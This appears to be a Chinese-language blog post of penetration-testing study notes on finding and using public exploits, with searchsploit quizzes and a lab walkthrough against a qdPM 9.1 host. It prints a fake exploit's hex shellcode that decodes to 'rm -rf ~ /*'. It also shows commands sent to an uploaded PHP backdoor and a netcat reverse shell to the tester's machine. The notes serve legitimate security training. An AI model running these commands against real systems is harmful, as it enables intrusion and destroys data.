公開的漏洞(Public Exploits)
公開的漏洞(Public Exploits)
公開漏洞 OpenOwn 本來是針對 SSH 的漏洞攻擊程式,實際上內容非常詭異
首先是要求 root 的權限如下面這一段
if (geteuid()) {
puts("Root is required for raw sockets, etc."); return 1;
}
接著往下翻可以看到一段使用 16 進制編碼的 impcode 內容如下
[...]
char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
[...]
透過 python3 將 16 進制解碼來看
└─$ python3
公開漏洞資料庫 Exploit Database 由 Offsec 維護,是一個值得信賴的漏洞查找資料庫
另一個查找漏洞好用的網站 https://packetstormsecurity.com/
以及訪間最多人使用的平台 GitHub https://github.com/
但 GitHub 上是每個人都可以任意發佈的地方所以未經驗證的漏洞利用要盡量避免
可以使用一些官方的 GitHub 帳號來使用,例如 Offsec https://github.com/offensive-security
Offsec 已將預編譯的漏洞搬到 GitLAB https://gitlab.com/exploit-database/exploitdb-bin-sploits
另外可以利用 Google 搜尋來查找漏洞,例如 firefox --search "Microsoft Edge site:exploit-db.com"
會自動開啟 firefox 並搜尋 Microsoft Edge site:exploit-db.com
查詢影響 Microsoft Edge 瀏覽器的漏洞並限定結果在漏洞資料庫網站
Google 其他查找方式使用可以參考 https://ahrefs.com/blog/google-advanced-search-operators/提供幾個常用的搜尋技巧
- inurl : 搜索 URL 中包含特定單詞的頁面,例如 OSCP
- intext : 搜索內容中包含特定單詞的頁面,例如 OSCP
- intitle : 搜索標題標籤中包含特定單詞的頁面,例如 OSCP
離線利用既有資源查找漏洞
漏洞利用框架,允許在線或離線訪問漏洞,例如 Metasploit、Core Impact(付費)、Canvas
還有瀏覽器利用框架 BeEF (屬於一種滲透測試工具),僅專注在 Web Base 的客戶端攻擊
為確保 Kali 時時擁有最新的 exploitdb 漏洞資料庫,建議定期更新,可以透過下列使用更新
指令 └─$ sudo apt update && sudo apt install exploitdb
會更新 Kali Local /usr/share/exploitdb/~ 底下的漏洞利用資料庫副本
主要是每個漏洞利用和 shellcodes 目錄的 CSV 文件檔
漏洞利用路徑下(/usr/share/exploitdb/exploits)的目錄可以看到不同作業系統相關的漏洞利用
Kali 下搜尋漏洞可以使用 searchsploit 指令,直接輸入可以提供範例與參數說明
簡單 searchsploit 搜尋,搜尋 Windows 作業系統上的 SMB 遠端攻擊
搜尋指令 : └─$ searchsploit remote smb microsoft windows 關鍵字以空白區隔即可
透過使用 -m 參數可以複製漏洞利用,如利用上圖的 windows/remote/48537.py
指令 : └─$ searchsploit -m windows/remote/48537.py
練習 : 使用 searchsploit,找到標題為“Arm Whois 3.11 - Buffer Overflow (SEH)”的漏洞利用程序的 EDB-ID
指令 : └─$ searchsploit Arm Whois 3.11 Buffer Overflow SEH (全部改成空格區隔關鍵字)
EDB-ID 即為下圖最右邊後面的數字 45796
練習 : EDB-ID 為 45796 的漏洞利用程序。受影響的軟件版本是多少?
指令 : └─$ searchsploit 45796,本版如下圖為 3.11
練習 : 針對 Windows 2012 x64 的 Eternal Blue 漏洞利用的 EDB-ID 是多少?
指令 : └─$ searchsploit Windows 2012 x64 Eternal Blue,答案為 42030
練習 : 使用 SUID 針對 Linux 內核 2.6.22 進行權限提升的 EDB-ID 是多少?
指令 : └─$ searchsploit SUID Linux 2.6.22,答案為 40616
練習 : Linux SquirrelMail 遠程命令執行 Metasploit 模塊的 EDB-ID 是多少?
指令 : └─$ searchsploit Linux SquirrelMail Metasploit,答案為 16888
練習 : WebCT 4.1.5 的 HTML 注入漏洞的 EDB-ID 是多少?
指令 : └─$ searchsploit WebCT 4.1.5 HTML injection,答案為 31337
練習 : 適用於 Windows x64 的遠程鍵盤記錄器綁定 Shellcode 生成器的 EDB-ID 是多少?
指令 : └─$ searchsploit Windows x64 Shellcode remote Keylogger,答案即為 45743
Nmap NSE 腳本
Kali 內建的 namp 有提供許多腳本,可以用於枚舉、暴力破解、模糊測試和檢測漏洞等功能
路徑位於 /usr/share/nmap/scripts 路徑底下,讓我們用以下指令搜尋 exploits 即可看到許多漏洞利用的腳本
指令 : └─$ grep Exploits /usr/share/nmap/scripts/*.nse
若要使用時要帶參數 --script,若要了解特定腳本則可以使用 --script-help 參數來顯示
例如 : └─$ nmap --script-help=clamav-exec.nse 會顯示此腳本的相關訊息與線上連結參考
練習 : 目標機器 IP 192.168.203.11
第一步先 rustscan └─$ rustscan -a 192.168.203.11 --scripts none --ulimit 5000
看到 80 第一步就是先逛一逛網站
About US 有四個員工資訊當中有 Email Address 先記錄一下
gobuster 掃一下 └─$ gobuster -w directory-list-2.3-medium.txt dir -u http://192.168.203.11/ -t 100 -x pdf,txt 2>/dev/null
查看網頁源代碼,也可以發現 qdPM 9.1
查找 qdPM 9.1 exploit remote 關鍵字發現有幾個漏洞可以利用
Exploit DB 線上查找 qdPM 9.1 第一個已被驗證且是 RCE 看來是個好的漏洞利用
回到剛剛 Project 的網頁,登入帳號就是 Email Address
結果猜到帳號 : 密碼 george@AIDevCorp.org:AIDevCorp 為有效地帳密
登入 qdPM 試試看吧
前面的 RCE 漏洞 50944 就可以拿來利用,先 COPY 到當前目錄吧 └─$ searchsploit -m 50944
漏洞利用開始
└─$ python3 50944.py -url http://192.168.203.11/project/ -u george@AIDevCorp.org -p AIDevCorp
curl 該檔案與命令確實有回應
看看有無 nc └─$ curl http://192.168.203.11/project/uploads/users/888049-backdoor.php --data-urlencode "cmd=which nc"
確認有 nc
備註 : 可以使用參數 --data-urlencode 直接轉換
或是 URL 先 Encode 再帶入也可以
└─$ curl http://192.168.203.11/project/uploads/users/888049-backdoor.php?cmd=which%20nc
直接 nc reverse shell 吧 nc -nv 192.168.45.187 4444 -e /bin/bash
指令 : └─$ curl http://192.168.203.11/project/uploads/users/888049-backdoor.php --data-urlencode "cmd=nc -nv 192.168.45.187 4444 -e /bin/bash"
Reverse Shell 進來了,執行 id & whoami & tty 察看結果,發現不是 tty
那就執行指令 script -c /bin/bash -q /dev/null 快速開啟 tty
CVE 漏洞查找棒棒網站,例如 Microsoft IIS 6.0
https://www.cvedetails.com/version-search.php?page=1&vendor=Microsoft&product=IIS&version=6.0
留言
張貼留言